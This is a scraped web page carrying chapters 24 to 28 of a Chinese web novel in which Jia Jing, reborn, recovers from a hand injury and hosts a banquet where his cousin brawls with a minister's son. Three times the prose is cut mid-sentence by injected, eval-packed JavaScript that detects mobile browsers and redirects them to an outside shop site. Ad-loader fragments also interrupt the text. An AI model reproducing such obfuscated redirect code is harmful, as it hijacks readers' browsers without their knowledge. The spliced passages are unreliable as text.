贾代善话锋一转,“你敬二哥哥伤了手,这些时日,你没事就别去打扰,让你敬二哥哥好好养伤。” 贾政一听贾敬居然手受了伤,连忙问,“发生了何事?敬二哥哥怎么会伤了手?可严重?” 他一心读书,对贾敬遭劫一事并不清楚。 贾代善见他真的关心兄长,便也和他说了。 见小儿子这般关心贾敬,贾代善眼里闪过一丝欣慰。史氏察觉到,笑着开口, “咱们政哥儿最是懂得兄友弟恭了,知道关心兄长。” 这话一出,贾代善又想起那个不知道去哪里鬼混的纨绔大儿子,气不打一处来,袖子一振, “吃饭。” 史氏迟疑,“不等赦哥儿了?兴许快回了。” 这话一出,更让贾代善气愤, “哪有老子等儿子的道理?没他饭吃!” 而这边三人刚坐下,就听外面一个小厮来报, “老爷,太太,东府大爷让小的来传个话。” “说咱们大爷为了给东府敬二爷解闷,送了只鸟去,东府大爷谢谢咱们大爷,留咱们大爷在东府用饭,就不回来了。” 24. 第 24 章 不说贾代善是多么愕然,是怎么和史氏面面相觑,贾赦倒是在宁国府很是开心,他在这里很自在,比在他自己家还自在。 “二哥哥,我和你说,你别看这鹦鹉没一般鹦鹉大,可这羽色是罕见的五色,色彩鲜艳,毛羽光滑,更重要的是,这鸟聪慧机灵,学人说话,一学就会,特意买来给你解闷的。” “我让它学一个给二哥哥瞧瞧……” 贾赦都弄着鹦鹉,谁知那鹦鹉一点面子不给,转过头去,丝毫不理人。 “诶,你怎么不叫了?” 贾敬望着在自己面前跟鹦鹉耍宝的贾赦,忍不住笑出了声。 贾敷瞧着面前的鹦鹉,又瞥了眼贾赦,似笑非笑道:“赦哥儿,挑这鸟儿花了不少时间吧?” “那是,这可是我逛了三条街的铺子挑中的鸟。”贾赦一身宝蓝色圆领袍,抬了抬下巴,尽显得意。 “啪!”贾敷一扇子拍在了贾赦的脑袋上。 “啊!”贾赦下意识捂住额头,不可置信地望着贾敷,“大哥哥,你打我作甚!” 贾敷勾唇,刚准备说什么,就听见: “打我作甚!” “打我作甚!” “作甚!” 几句尖利的声音在屋内响起,所有人都朝那只鹦鹉看了过去,贾赦也瞪着那只刚才死活不长嘴的鹦鹉, “方才为何哑巴了!” 此话一出,哄堂大笑,贾赦更委屈了。 贾敷用扇子隔空点了点,“据我所知,正常应该是半个时辰前才下学,赦哥儿你却逛了三条街,定是逃学了。” 贾赦心虚地摸了摸鼻子,小眼睛瞄了眼贾敬包扎的手,小声嘟囔,“这不是听闻二哥哥受伤,怕他没趣嘛。” “赦哥儿,我以前怎么没发现,你消息这样灵通了?” 贾敷是半开玩笑半疑惑,贾敬受伤的事情并没什么好隐瞒的,可从贾敬被萧淮川带回来,在宫里包扎,再回宁国府,也不过才三个时辰不到,倘若是朝堂中人,消息灵通也就算了,贾赦这个京城出了名的纨绔,居然也能提前知晓,贾敬伤了手。 三条街,没一个时辰是逛不下来的。 贾赦咧嘴一笑,“嘿嘿,我自然有办法知道!” 贾敷还想问,贾敬开口转移话题,“留咱们府用饭吗?” “二叔刚回西府不久。”贾敬又补充了一句。 “留留留!”贾赦疯狂点头,他逃学的事情,肯定被他爹知道了,回去也没饭吃,可能还得受罚。 贾敷点点头,“行,我让人去西府递个话。” “我给二哥哥喂饭!”贾赦眨了眨眼睛,盯着贾敬。 贾敬扯了扯嘴角,“不用,吃你的饭吧。” · 东宫 萧淮川面容严肃,正看着各地方呈上来的奏折和情报。 虽然此次京郊“流寇匪类”已经全部剿杀,可鲁地及周围等地依旧匪乱为患,四处流窜,民不聊生,鲁地及周围州县纷纷上奏,请求朝廷出兵剿匪。 而天丰帝借京郊“匪乱”成功剿杀,顺势将各地剿匪一事扔给了萧淮川处理。 倘若处理的漂亮,萧淮川在朝中的地位和声望会更加稳固,可这看似立功的事情背后,藏着错综复杂的各地方势力,棘手的很。 东宫属官甚至建议萧淮川将此事推了,不要去趟这趟浑水,却被萧淮川拒绝。 萧淮川并非是意气用事,反而他清醒冷静。 “你以为,这件事是孤能推掉的吗?” 萧淮川清楚的知道,这件事就是天丰帝扔来的烫手山芋,不是他想推就能推掉的。 自古储君不好做,有贤名的储君更是如此。 忍冬透过书房门缝,瞧着自家主子冷静肃穆的脸,又瞥了眼手中的请帖。 萧淮川注意到门口探头探脑的忍冬,“何事?” 忍冬挂着笑,快步走进来,“殿下,是喜事。” 他近身来,双手将请帖呈上,“宁国公府派人送来的,邀殿下您前去贺宴。” 萧淮川接过请帖,听忍冬这话,便立刻猜到是怎么回事。 “阿元的庆祝宴?” 宁国公府如今就三位正经主子,两位是贾敬的兄嫂,已经成婚生子,该办的宴席早已经办过。若说喜事,也就贾敬考中进士一事了。 原本以为,贾敬伤了手,庆祝宴不会办了,没想到,照常举行,还邀请了自己。 打开请帖一瞧,还真是,时间就定在半个月之后。 “半个月……”萧淮川心中思忖,计算着这个时间,一是想着贾敬的手半个月后会恢复的怎么样,二是算着自己手上的事务是否能处理完。 “是呢。”忍冬点头,笑得极为喜庆,“二爷与殿下果然感情深厚。” 据他所知,以宁国府这样的身份地位,一般这样的宴会是不会请皇子皇孙,以免落人口舌。 萧淮川显然也想到了这点,心中也明白,定是贾敬邀请的他,贾敷是断然不会邀请的,萧淮川眼神不禁又柔了几分,含着笑意。 “殿下去也好,能为贾二爷掌掌眼。”忍冬感慨一句。 “掌眼?”萧淮川不解地望着忍冬。 “是啊。” 忍冬从小在萧淮川身边侍候,自然与他亲近,只见他朝着萧淮川挤弄着眉眼,“殿下,二爷如今可还未婚配呢。” “像二爷这样的世家公子,长相好,出身好,如今更是科举及第,全京城的姑娘可能都想嫁给二爷咧。” 萧淮川一怔,像是从未考虑过这些,嘴上忍不住说道:“阿元还小……” 忍冬忍不住笑了,“殿下真是会开玩笑,二爷如今都过了及冠之年,像二爷这样出身的子弟,这般大的,许多都做爹爹了。” 就连和贾敬年龄相仿的二皇子和三皇子也于去年娶了妻,也就他家殿下情况特殊,还未定下太子妃的人选,但未来太子妃是谁,朝堂上下皆是心知肚明,那是天丰帝亲自选中的人,只待年龄合适,便会赐婚。 先前贾敬是一心读书,大家也就忽略了这件事,可现在科举及第,金榜题名,就该考虑洞房花烛夜了。 自古圣人云:修身齐家治国平天下。 阿元的年纪,是该成亲了。 萧淮川下意识攥紧手中的请帖,心莫名有些烦躁,他垂眸,吩咐忍冬, “如此,宴会要送的礼,你去库房帮孤挑选吧。” 忍冬有些诧异,往日里送给贾敬的东西,皆是萧淮川亲自挑选,从不假于他人之手。 想来定是太子殿下近日事务繁忙,亦或是单 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 独为贾二爷准备了礼物。 忍冬出了书房,就领着一个小太监去东宫库房挑礼物去了,就算殿下另外为贾二爷准备了礼物,他也不能因此怠慢了。 萧淮川将请帖放进柜子里,翻开奏折,却一个字都瞧不见去,莫名的心烦意乱,连他自己都不清楚为什么。 · 贾敬养伤的这段时日,因有贾敷和史云棠两大“门神”的守护,倒是帮他挡回去一众来客,让他能清清静静的养伤。 期间,贾赦时不时为贾敬带些逗趣的小玩意,和一些路边小吃;而贾政除了第一次上门有些拘谨,在贾敬细心指点后,几乎是每天都上门来,为贾敬读书解闷,书法也在贾敬的指导下,进步许多。 只是让贾敬意外的是,萧淮川除了命小太监送来几次药物补品外,竟然真的一次都没来看望他。 他也知道,萧淮川身为储君,事务繁忙,可当真一次未来过,贾敬心中难免失落。 贾敬望着窗台挂笼里一展歌喉的鹦鹉,不禁脸上划过一丝自嘲。 萧淮川如今在忙什么事情,贾敬也清楚。流寇匪患,兹事体大,他又有什么资格,让萧淮川这位储君丢下国事出宫来探望他呢? 只是不知道,庆祝宴那日,萧淮川是否会来。 罢了,这样已经是极好的了。 萧淮川还活着,这便是最好的,他该知足了。 贾敬垂眸望着自己这双恢复半月还隐隐作痛的手,心中却是庆幸。 他真的做到了,改变了兄长惨死的命运,那么他一定也可以保住萧淮川! 而现在,他未真正进入朝堂,对于风向和情报的掌握,宛如耳聋眼瞎。 因此,他要尽快让天丰帝为他授官,即便是被边缘的冷板凳,也比待在家里强,很多事情做起来也方便许多。 如今的局面,即便天丰帝想要外放他,也已然是不可能。 天丰帝这些天虽然闭口不提自己“剿匪”的功绩,可京郊的爆炸,流寇土匪被一锅端的事实,如今京城何人不知?天丰帝也不过是在借贾敬养伤拖延罢了。 可贾敬的伤总有好的一天,天丰帝总归要给他一个交代,亦或者,给他背后的四王八公各家勋贵一个交代。 他的庆祝宴,便是转机。 时间不知不觉间溜走,很快就到了日子。 御医这些日出入宁国府,也知道今日是个重要日子,便起了个大早,来为贾敬换药。 贾敬早已经习惯手上的疼痛,面色如常,只是待御医要为他包上布时,贾敬蹙了蹙眉, “今日不必包的那般严实。” 御医有些为难,虽然他也惊喜贾敬手的恢复程度,简直惊人,可半个月的时间,就想要不缠布,裸露伤口,但凡有个好歹,先前的伤就是白养了。 “这……贾二爷,您这伤口,可不能这样。” 贾敬也不是非要作死,盯着自己的伤口仔细瞧了又瞧,他只是不想缠那么厚。 御医见贾敬没说话,将萧淮川搬了出来, “贾二爷,今日太子殿下也会来,若是让殿下瞧见,定会怪罪老夫的。” 贾敬眼睫轻颤,心漏了一拍,他抬眸盯着御医,“殿下今日会来?” 他还以为萧淮川今日不会来了,没想到,他竟然会来。 25. 第 25 章 最终,御医和贾敬各退一步,将贾敬的手浅浅敷上了一层的纱布,倒也显得没那么臃肿,伤势也看起来没那么严重了。 贾敬也从御医那里得知,御医每每为自己换完药后,都会去东宫禀告。 御医这些时日来宁国府为贾敬换药,也是恪尽职守,生怕有了什么差池,被太子殿下怪罪。 待御医走后,贾敬愣怔地望着窗外,不知在想些什么。 素雪领着一众小丫头进来时,便瞧见贾敬逗弄着窗下那只活蹦乱跳的鹦鹉,轻笑出声, “二爷还当真喜欢鸣凤。” 鸣凤是那只五色鹦鹉的名字,贾赦所取。 “喜欢,鸣凤。” “鸣凤。” 贾敬还未说什么,鸣凤则是抖了抖翅膀,红嘴动着,学着方才素雪的话。 “二爷,前厅这会子已经有客上门,我服侍您更衣吧。” 贾敬扫了眼自己今日身上穿着,玉色弹墨云纹圆领袍,上绣有金丝暗纹,他平日里惯穿的,高雅而不失素净。 “今日可是二爷的喜日子,岂能穿得这样素净?” 素雪招呼一个端着托盘的小丫头上前,“这是太太今日为您准备的衣裳。” 贾敬扫了一眼,夺目的绯红色缕金彩绣长袍,印着蟾宫折桂纹样,又喜庆又符合今日的宴会,可不就是庆祝贾敬蟾宫折桂吗? 自家嫂子的一番心意,贾敬也不可辜负,只好起身,换了衣裳。 素雪手脚麻利将佩好的腰带系上,挂上长穗宫绦,最后为贾敬戴上发冠,“二爷瞧瞧,可还成?” 素雪抬眸对上水晶镜照映出的清晰人影,绯红色反射在面如冠玉的脸庞上,配上那双半垂轻阖的慵懒桃花眼,色如春花,一时不禁看的忘神。 她家二爷这张脸,当真多少女子都比不上。 “二爷今日也不知得让多少女子自相形秽,也不知哪位小姐才能入二爷的眼了。” 素雪不知觉间已经将心中的话说了出来。 贾敬略带诧异地望着这位身边的大丫鬟,她平日里最是稳重,难得有这样轻狂之言, “女子闺誉,岂能这样妄议?再说,她们又何故需要入我的眼?” 素雪也自知失言,但见贾敬丝毫不知今日其他事,还是忍不住道: “今日各府夫人姑娘小姐们前来,恐怕多是为了您。” 素雪心中也不免开始祈祷,希望未来的二奶奶是个好主子,她们这些下人也都轻快些。 贾敬一愣,像是没懂素雪说的意思,“为了我?为我什么?” “还能是什么?当然是来相看的,太太也操心二爷您的婚事呢。” 素雪脱口而出,旋即意识到自己的唐突和僭越,连忙补救道:“素雪多嘴了,二爷莫要放在心上。” 贾敬听罢,眉头微微蹙起,显然对此事并不知情。 婚事?成亲? 还真是陌生的一个词。 他上辈子都没做的事情,这辈子也依旧不打算成婚。 且不说他对萧淮川那隐秘的心思,即便他放下了萧淮川,贾敬也从未想过和他人缔结良缘。 他早已经选择了孤身一人。 还是莫要害了人家姑娘吧。 “素雪,”贾敬掀了掀眼皮,语气变得严肃了几分,“这样的话莫要说了。” “是,二爷。”素雪也知道自己方才多嘴失言, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13912238|147403||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 垂下了头去。 贾敬思绪万千。上一世,他刚刚参加完琼林宴,兄长亡故,府里接连出事,他的亲事自然也就耽搁了。 年末宫变,萧淮川身死,他撑起宁国府门楣,贾珍过继到他名下,前几年,族老们怕贾珍地位不稳,也有意让贾敬迟些成婚,因此正合了他的心意。 再之后,贾珍长成,他入了道门,自此更是绝了成婚的心思,就连上辈子对外宣称的“老来女”惜春丫头,实则也是在给贾珍擦屁股。 贾敬倒是没想到,重来一世,他得考虑怎么应付不成婚的事了。 “二爷,二爷不好了!” 外面一个小厮嚷嚷声传来,素雪轻喝,“今日大喜的日子,什么不好了。” 小厮也顾不上素雪的呵斥,赶忙道:“素雪姐姐,西府赦大爷在前厅跟人打起来了,另一方好似是咱们二爷同年的弟弟。” 贾敬回首,眼眸一凝,“哪位同年?” 小厮急的满头是汗,“哪一家的子弟尚且不清楚,大爷让小的来请您过去。” 贾敬当即迈腿出了门,素雪让院内的随从阿年阿吉两兄弟跟上贾敬,小厮在前引路。 “知道他们为何打架?”贾敬边走边问。 贾赦虽顽皮,调皮捣蛋打架的事情也不是说没有,但到底注意分寸,平日里也只是小辈们的玩闹而已,今日这样的场合闹了事,绝对有其他原因。 小厮偷偷瞄了眼贾敬,小心翼翼道:“听说,是因为二爷您。” 其实事情到底如何,主子们还未核实,可奈何几位公子爷们方才闹得动静实在太大,他们想不听见都难。 贾敬脚步一顿,紧接着大步向前,朝前厅走去。 26. 第 26 章 “啊!疼疼疼!贾恩侯,你放手!” 一道惨叫声响彻天际。 “你个怂货!这就求饶了?方才不还叫嚣的厉害?小爷告诉你,今个儿不跪下来磕头道歉,小爷不会放过你!” “吃小爷一拳!” “啊!” “我的爷,可别打了!” “快快快,将他们一把拉开!” 贾敬一来,便撞见眼前混乱的场面。 只见贾赦鼻青脸肿的骑在一个锦衣华服少年身上,别看他身材不算健硕,甚至有些小胖,但动作很灵敏。 贾赦用一只手牢牢地钳制住锦衣少年的双臂,一只膝盖压在他的胸口,另一只手则毫不客气地插进锦衣少年的鼻子,用力一扳, “啊!” “哎呀!疼死我了,放手啊!” 酸疼窒息的感觉让那锦衣少年瞬间叫出声,涕泗横流,他也不示弱,腿下一个动作,用力一顶,刚好顶在了贾赦的腹部,贾赦忍不住闷哼一声,倒吸一口气。 “嘶!” 周围聚集了不少好奇的人,都是今日来宁国府吃酒参宴的,此时围在一旁,要么窃窃私语,要么指指点点,却无人敢贸然上前干涉。 “这占上分的是谁家的公子,好生威猛,出手够狠啊!” “他啊,他就是荣国公的那位长子,据说是最混不吝的一个,打架玩闹是常有的事情。” “另一位倒是眼生,这为何打起来了?” “不晓得,我也是刚来。” 而一旁的小厮虽听命了主子的吩咐,知道要上去将两人拉开,可现在两人如此缠斗,根本拉不开啊,一时也没有上前。 贾赦手上一个用力,鼻低传来的撕裂感让锦衣少年咬牙切齿痛呼, “贾恩侯!你可知道我爹是谁!伤了我,你小心吃不了兜着走!” “哼,小爷管你爹是谁?谁来了今个儿也救不了你!” 贾赦忍着肚子上的疼痛,手上又加重几分,那股狠辣劲儿,丝毫没有收手的意思。 “你刚刚满嘴喷得什么粪?今天让小爷教教你,怎么说话!就是教训你的时候!” “怎么,你哥就是个废……啊!”那锦衣少年被贾赦这么一说,也不顾身上疼痛,接着口出狂言,谁知话还没说完,又是一声惨叫。 “哥,快别打了!” 不知何时,纠缠扭打在一起的两人身旁多了一位少年,紧绷着脸,一本正经的劝架,此人不是别人,正是贾政。 周围有人也认出了他的身份,纷纷议论,见这少年的气度和行事作风,也不禁夸道: “这便是荣国公那位次子吧?虽一副文弱书生模样,但小小年纪便如此识大体,丝毫不怵,有其父风范。” 只见这位“识大体”的少年,佯装正义地走上前,嘴上说着,“哥,别打了别打了。” 看似是要制止这场纠缠打闹。 不远处的贾敬眼眸微微眯起,总觉得有些异样的感觉。 而此时,旁边的那些小厮仆人也都跟回过神来一般,跟着贾政上前。 只见贾政在靠近贾赦和那锦衣少年时,看似不经意脚下一个踉跄,恰好挡住了几个欲上前帮忙拉开贾赦和少年的小厮视线。 同时,贾政迅速伸出的手,看似是将锦衣少年拉出贾赦的魔爪,实则另一只手已经悄摸摸地戳在了锦衣少年腰间,用力一拧。 “……啊!” 锦衣少年惨叫一声,身体疼得一哆嗦,腿上立刻卸了力,贾政紧接着又拉开自家兄长的手,将贾赦一把拽出。 “快别打了,待会儿父亲要来了!” 若是平时,贾政搬出贾代善来压贾赦,贾赦自然是厌烦且不听的。可贾赦多精啊,方才贾政的小动作,早被他收入眼底,眼中划过一丝惊诧和狡黠。 这平日里古板严肃的小老头“二弟”居然还有这样一面。 贾赦猛地一用力,又暗自塞了那锦衣少年一拳,才在贾政的拉扯下,退了几步,拉开了距离,嘴上却还喊着, “记住,今天的事情没完!你给小爷等着!” “贾恩侯!你别得寸进尺!有种你别玩阴的!” 锦衣少年好不容易得以喘息,捂着疼痛难忍又酸涩的鼻子和腰 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13912239|147403||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 部,脸色涨红,眼神恶狠狠地瞪了刚刚下暗手戳他的贾政,很是不甘。 他没想到,这个看起来古板斯文的小孩,如此道貌岸然,居然下黑手!这么一想,更是气不打一处来,当即就要上前,被他家仆人一把拦住。 “赦哥儿,还不过来!” 贾敬颔首,适时出声,他此时眼尾下垂,显得有些凶。 他方才望了一圈,没见到贾敷所在。按理说,是贾敷邀他前来,他自己应当已经在现场了,可没想到,居然不在,而场面也没有控制住,那只能贾敬来了,今日他们是主家。 贾敬话一出,贾赦立刻老实,贾政扯了扯贾赦的袖子,示意贾赦跟自己走。 贾赦也不是个憨货,此时也不过多纠缠,跟着贾政就站到了贾敬面前,在贾敬的注视下,贾赦垂下头。 倒不是心虚,只是觉得自己青紫到微肿的脸显得有些丢人。 贾敬刚准备询问缘由,他还记得方才小厮说的那番话,好似缘由就是他。 可还未等贾敬说话,便匆匆来了一群人,抬眸看去,之前不见踪影的贾敷为首走在前面,身后跟着两拨人,一拨是四王八公的各位老亲们,一拨是贾敬的同年们,宋子虚赫然在列。 贾敷见贾赦已经安分站在贾敬面前,目光稍稍掠了眼锦衣少年,刚要说话,只见一人猛地蹿出,朝贾敬喝道: “贾培元!这就是你家的待客之道吗?” 贾敬一瞧,哟,熟人啊,是上次在琼林宴对自己充满敌意,不停挑衅的李玉衡。 李玉衡指着鼻青脸肿的锦衣少年,声音拔高一个度,“你可知道他是什么身份!” “你们宁国府居然如此嚣张狂妄,竟然仗着权势,光天化日之下打人,简直是无法无天!” 李玉衡的话音落下,四周的氛围瞬间凝重,众人的目光齐刷刷地看向贾敬,这话可大可小。 贾敬淡淡扫了一眼李玉衡,嘴角不经意地勾起一抹嘲讽的弧度,眼神平静, “都说,吃一堑长一智,果然这也需要看悟性。” “你乱扣帽子扯大旗的毛病,还是没有改。” 27. 第 27 章 贾敬的话猛然让李玉衡想起琼林宴上的事情,脸色涨青,可他自出了这个头,就没有半路缩回去的道理,也不能缩。 李玉衡脸色变了变,嘴角扯出一抹笑,“培元兄,我与你谈令弟伤人的问题,你又何必顾左右而言他。” “莫不是,想要包庇令弟伤人行为?”李玉衡说着,目光扫视了全场众人,朗声道,“在场诸位可都瞧着呢。” 难道宁国府还能只手遮天了不成? 可今日来赴宴的,除了贾敬的同年同窗们,多是与宁国府沾亲带故的勋贵老亲,自然没有帮着外人的道理。 对于李玉衡的话,在场没几人回应,有些混不吝的还看起了乐子。 李玉衡也不在乎,这件事只要传扬出去,就更加能证实宁国府为首的勋贵们仗势欺人。 而和他一起来的,皆是他们一同高中的同年,义愤填膺的青年文人,最是见不得这样的事情,笔杆子和唾沫星子可以指着贾敬的脊梁骨骂。 贾敷的眉头拧在了一起,目光又朝外围看了看,眼中带了些焦急。 他收回目光刚要说什么,忽然看见贾敬朝他试了个眼色,他瞬间明白了弟弟的意思,贾敷闭上了嘴。 贾敬抬眸凉凉地望了一眼李玉衡,也知道他是什么心思,随即视线落下了那名锦衣少年身上,锦衣少年因方才李玉衡的话,仿佛有了底气,挺了挺腰板,手直指贾赦, “他贾恩侯如此嚣张,将我打成这样,今日一定要给我一个说法!否则……” 话未尽,话中意思已经明了。 贾敬眼眸闪了闪,这少年口口声声说他们贾家嚣张,可他的行为举止也很是狂妄。 上次琼林宴,李玉衡很明显是想蹭上新党那艘大船,他如此想给这位锦衣少年出头,看来是新党这边举足轻重的人物。 自贾敬方才过来,这位少年就不停地在强调自己的身份,观这锦衣少年年龄,以及李玉衡狗腿相护,贾敬心中已经大致有了数,他知道他是谁家的子弟了。 新党里的重要人物,吏部尚书何清的小儿子,贾敬一下子猜到他,还跟上一世一个听闻有关,几年后,何清这位小儿子因冲动莽撞的性子,和进京贺岁的西南越王府世子起了冲突,被人打断了一条腿。 惹事的正是他那张嘴。 李玉衡想要攀上何清,贾敬也并不奇怪,掌握官员考核的吏部,谁人敢得罪,谁人不想巴结? 他们这一批进士还都未授官。 “何长荣,你该打!” 贾赦也直接怼了回去,“你自己清楚,我刚刚为何打你!” 这名字一出,贾敬心道:果然,还真是吏部尚书何清的小儿子,若是他没记错,何清的长子何长明也是他的同年,想来何长荣是跟着兄长何长明前来赴宴。 贾敬想着目光扫视一圈,没找到何长明的身影。 何长荣听闻贾赦的话,面色一僵,眼神闪烁,心虚的朝贾敬包裹着的双手看去,视线下意识上移,谁知,刚好对上贾敬似笑非笑的目光,慌张地转过头。 贾敬垂眸看了看自己的手,又结合上一世何长荣嘴欠的毛病,以及方才两人打斗时的话,心里已经可以确定,他们是因何打架了。 或者说,贾赦又是因何出手揍了何长荣。 李玉衡也是没来多久,只看了个末尾,只当他们打架是小孩子玩闹,见何长荣不说话,还以为他是被贾敬的眼神吓到,心下一跳,想要示好的心蠢蠢欲动。 “小公子,别怕,将他们是怎么欺负你的,都说出来。” 何长荣嘴唇蠕动,却在贾敬的注视下,心虚的什么都说不出来。 他心知,他在贾赦面前,嘲讽贾敬手废了,是个废人的话,可以私下挑衅贾赦说,却不能当着这么多人的面说。 若是给他爹和兄长知道…… 刚才因打架而冲动的脑子渐渐冷静,何长荣心中开始忐忑不安,额头渗出细密的汗珠。 贾敬那双桃花眼仿佛像是一把利刃,可以划破何长荣的皮囊,直插他的内心,压迫感让何长荣几乎要窒息。 李玉衡见何长荣迟迟不开口,心中焦急万分,他以为何长荣是被贾敬的气势所震慑,于是更加坚定了要为何长荣撑腰的决心。 “小公子,这里没有人会对你不利,你放心大胆地说出真相,难道宁国府真的敢在众目睽睽之下,伤了人还不承认,颠倒黑白、仗势欺人不成?”李玉衡的声音提高了几分,故意挑了一下。 他这话倒是煽动了跟随他一起来的几位年轻人,只见他们目光炯炯地瞪着贾敬贾赦等人,仿佛在看什么恶霸。 贾敬的嘴角扬起一抹笑,没什么温度,让李玉衡心头莫名一紧。 “李玉衡,你这话倒是有趣得很。首先,他们二人发生冲突总得有个缘由;其次,这两人缠斗,皆负伤,你怎么就单说赦哥儿伤人呢?” 贾敬眉眼一挑,眼神犀利地盯着何长荣, “何小公子,这位李公子这么想为你主持公道,那么就由你先来说说,刚才的缘由吧。” 何长荣敢说吗?他根本不敢。 “嘁!”贾赦啐了一口,“敢说不敢认,怂货!” “你……”何长荣被贾赦这么一激,气的脸红脖子粗。 “到底发生了什么事情!” 一道中气十足的声音响起,原来是荣国公贾代善来了,他旁边还站几人。 何长荣见到贾代善身旁那人,身体一抖,此人不是别人,正是他的父亲,吏部尚书何清,而何清身旁的青年男子,正是他的大哥,何长明。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13912240|147403||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 何清本就细长的眼睛眯成一条缝,看着何长荣的惨状, “长荣,怎么回事。” 何清的声音不大,却让何长荣面色煞白。 “爹……” 喊了半天,屁话没说出一个。 贾代善则是怒目看向同样狼狈的贾赦,“小兔崽子!你干了什么好事!” 显然,他们对此之前发生的事情,并不知情。贾敬若有所思的朝贾敷瞧了一眼。 面对贾代善的话,贾赦就跟哑火一样,只是梗着脖子,不说话。 两个当事人问不出话,全场忽然静了下来。 贾代善和何清,李玉衡都怵的慌,可他到底想要搏一搏,咬了咬牙,刚准备说话,却被人抢了先。 “我来说,我从头到尾都在现场。” 一道沙哑的少年声音,众人看去,正是一直站在贾赦身旁没怎么说话的贾政。 贾代善对旁边何清说着,“何大人,这是我的小儿子,是否听他一词?” “国公爷客气,自然可以。”何清颔首。 贾代善面容严肃的望着贾政,“如实道来。” 贾政下意识看了贾敬一眼,贾敬看出了他眼底的担忧。 贾敬朝贾政轻轻一笑,“政哥儿放心说便是。” 贾政深吸一口气,目光看向众人,“是大哥先出手打了何长荣。” 李玉衡先是一愣,紧接着咧嘴,早听闻荣国公小儿子是个书呆子,没想到还真是,他还怕贾政袒护自己哥哥呢。 贾赦也猛地抬起头看着贾政。 贾政话锋一转,“但事出有因,是何长荣他再三挑衅,侮辱敬二哥哥在先,大哥是为了维护敬二哥哥,才出手的!” 贾敬弯着唇,丝毫不在意,鼓励贾政接着说,“他说我什么?” 贾政抿了抿唇,沉声道:“他辱骂敬二哥哥是个废人,被土匪掳走,废了一双手,活该。” 此话一出,众人哗然,目光皆落在贾敬包裹着的手上。 “贾培元的手,不会真的废了吧?” “听说极为严重!就算是好了,也……” “啧啧啧,可惜了,倒了大霉。” 何清何长明看向何长荣,见他低垂着头,蜷缩着身子不说话,便知道此话十之八九是真的。 “长荣!”何清喝了一声。 也不知道何长荣是不是破罐子破摔,骤然抬起头,眼神狠狠地瞪着贾敬,恶言脱口而出, “难道我说错了吗?他要不是废物,能被山匪掳走?如今更是废了一双手!” 恶意扑面而来,贾敬不免挑了挑眉。 “朝廷剿匪的功臣,岂是竖子可以侮辱的?” 贾敬一怔,连忙转眸看向身后站着的萧淮川,“你何时来的?” 28.第 28 章 贾代善闻声看去,不由得一愣,心中暗忖:这样的场合,太子殿下怎么会突然造访? 眸光稍稍朝贾敷看去,见大侄儿一脸淡定从容,便知道贾敷是知晓的。 但贾代善还是纳罕,这样的场合让萧淮川这位储君露面,真的合适吗? 贾代善脑中思绪百转千回,面上却没什么异样,拱手相迎道: “原来是太子殿下驾临,有失远迎,还望太子殿下恕罪。” “荣国公不必多礼。”萧淮川微微点头,偏头看向贾敬,露出一抹浅笑,“孤今日前来,是为了给阿元贺喜。” 贾敬对上萧淮川含笑的眸子,自己的嘴角也不自觉跟着弯了起来。 他心里却注意到萧淮川方才说的话,朝廷剿匪的功臣,这是萧淮川自己说的,还是天丰帝已然有了决定…… 萧淮川浅淡的目光扫过贾代善周围众人。 “拜见太子殿下。” 众人看清贾敬身后站着的萧淮川后,皆躬身行礼,眼底是受不住的震惊,心思也都活络起来。 知道萧淮川与贾敬关系交好,却没想到,今日这样的私人场合,萧淮川竟然也会驾临。 吏部尚书何清心中也诧异,忽然想起何长明说琼林宴上的事,再次估量宁国公府和东宫的关系。 而李玉衡也连忙低垂着头,遮掩他即将要绷不住情绪的脸,双眼死死盯着地面。 太子殿下怎么会来?不是说太子殿下近日繁忙,自贾敬闭门养伤以来,便从未去探望过吗? “今日微服前来,诸位不必多礼。”萧淮川眼眸掠过全场,俊美面容带着一抹大家熟悉的温和笑意,抬手示意免礼。 萧淮川视线落在何清身上,微微挑眉,“何大人也在?” 贾敷广邀贾敬的同年们,但也不能真的只邀请一个人,未免显得太过小气和难堪,因此,这请帖自然是下到诸位学子的府邸。 这帖子何清自然也看见了,按说以他的身份与这些勋贵之间的关系,其实大可不来。 他与这些勋贵不过是普通的同僚而已,平日里也是各走各路、互不干扰,可谓是进水不犯河水。 但何清听闻宁国公府广邀了此次科举高中的学子,便被勾起了心思。 难道这些勋贵们打算借此机会拉拢这些新晋的学子们? 这些学子里,或多或少算起来,大多数是他们新党的门生,倘若真是如此,那这些勋贵便是明目张胆和他们抢人了。 想到这里,何清决定亲自前来一探究竟。 